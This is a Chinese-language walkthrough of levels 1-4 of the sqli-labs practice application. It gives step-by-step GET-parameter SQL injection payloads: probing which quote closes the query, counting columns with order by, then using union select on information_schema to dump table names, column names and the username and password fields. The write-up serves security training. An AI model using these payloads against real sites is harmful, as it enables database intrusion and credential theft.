sqli-lab(1-4)基于GET报错的注入
sqli-lab(1)
在地址后面输入?id=1,说明存在注入点。
闭合报错
后边跟order by 1–+ 没有报错
order by 3–+没有报错
在尝试order by 4–+结果报错,说明这一行中存在三个字段
下面使用union联合查询语句
?id=0’ UNION SELECT 1,2,3–+ 爆出2,3列可以利用,可以利用database(),user(),verison()函数得到数据库库名,用户名,数据库版本等
已经猜解到数据库security,接下来利用语句获取到表名,其中我们想要的是users表。
?id=0' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
接下来利用sql语句获取字段名,我们想要的是username,password字段
?id=0' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
下面利用sql语句得到username,password字段的内容
?id=0' UNION SELECT 1,group_concat(username,'|',password),3 from users--+
sqli-lab(2)
同sqli-lab(1)一样先?id=1
我们单引号闭合一下,结果报错
单引号去掉试一下
用lab(1)的方法测试一下,2和3都没问题,4出现错误,说明只有三个字段
同第一关一样就是没有闭合单引号
?id=0 UNION SELECT 1,2,3--+
同样不需要闭合单引号
?id=0 UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
?id=0 UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
?id=0 UNION SELECT 1,group_concat(username,'|',password),3 from users--+
sqli-labs(3)
首先尝试不闭合,也不报错啥的。
尝试单引号闭合,结果报错,不是我们想要的
双引号也不报错,再试!
尝试使用’)闭合结果使我们想要的
?id=1') order by 4--+
同1、2关一样不过只是闭合的方式不同
?id=0') UNION SELECT 1,2,3--+
sql函数爆出数据库名称和用户名
?id=0') UNION SELECT 1,database(),user()--+
爆出数据库中的表名
?id=0') UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆出users表里边的字段
?id=0') UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
爆出字段里的内容
?id=0') UNION SELECT 1,group_concat('USER:',username,'PASS:',password),3 from users--+
sqli-labs(4)
先试试不同的闭合方式
?id=1' order by 4--+
?id=1') order by 4--+
?id=1" order by 4--+
这里报错,好像是用")闭合
?id=1") order by 3--+
?id=1") order by 4--+
结果是我们想要的
union注入一下
?id=0") UNION SELECT 1,2,3--+
?id=0") UNION SELECT 1,database(),3--+
?id=0") UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
?id=0") UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
?id=0") UNION SELECT 1,group_concat(username,'|',password),3 from users--+